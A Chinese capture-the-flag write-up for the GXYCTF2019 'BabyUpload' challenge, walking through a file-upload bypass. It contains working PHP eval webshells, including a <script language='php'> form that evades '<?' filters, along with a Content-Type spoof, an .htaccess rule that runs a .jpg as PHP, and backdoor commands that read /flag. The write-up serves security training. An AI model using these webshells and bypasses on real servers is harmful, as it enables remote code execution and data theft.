[GXYCTF2019]BabyUpload

题目:

1.常规流,上传一句话木马 3.php

内容

<?php @eval($_POST['cmd']);?>

上传

回显

 

意思对文件名后缀进行了限制,后缀名不能有ph,试了下大写绕过PHp,或者phtml都不能绕过,

2.只能尝试更换后缀,更换后缀有一个执行php代码的思路,就是先传.jpg格式等等的图片马,然后传.htacess文件,让他把图片马中的代码当成php代码去解析

抓文件上传点的包吧

然后在包里修改后缀 之后Send发包

提示信息提示说上传类型太露骨了,应该是Content-Type,修改Content-Type为image/jpeg,再发

提示信息变为"这标志明显还是php啊",说明刚刚确实是Content-Type的问题,但是现在还有问题,就是应该检测了文件里面的内容,这标志是php中的标志指的应该是php代码的特有标志<?,应该是这个标志在黑名单里,被检测到了

可以写没有这个标志的另一个一句话木马,

看这里的PHP版本为:PHP/5.6.23

PHP版本小于7时可以使用script脚本来执行php代码

<script language="php">eval($_POST['cmd']);</script>

修改3.jpg里的内容为上面这个,然后再发包

/var/www/html/upload/85ffb324541aa05496d5fb75d9200ea2/3.jpg succesfully uploaded!

说明上传成功了,还告诉了我们文件上传的目录,

那现在我们要考虑的最后一个问题就是怎么解析图片马了

图片马自己是不能解析的,因为不是php格式

可以通过上传.htaccess文件,里面写入

<FilesMatch "3.jpg">

 SetHandler application/x-httpd-php

</FilesMatch>

这样子会把我们上传的3.jpg文件当做php文件来解析,那里面写的php后门就可以起效果了

刚刚上传的马是POST请求的,密码是cmd

hackbar,

传入GET请求包,调用webshell文件图片马3.jpg

传入Post请求包,用密码cmd连接后门,执行命令

格式:后门密钥=命令 这样执行

看到phpinfo的页面能显示,说明命令是可以执行的

那就先执行查看当前目录有什么文件的命令scandir

cmd=var_dump(scandir("/"));

遍历出来了当前目录下的文件,看到有[8]=> string(4) "flag" 那就好办了,疑似flag直接在当前目录下

可以后命令尝试读取当前目录这个文件内容了

file_get_contents()命令,读取指定文件的内容

cmd=var_dump(file_get_contents('/flag'));

flag出现了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值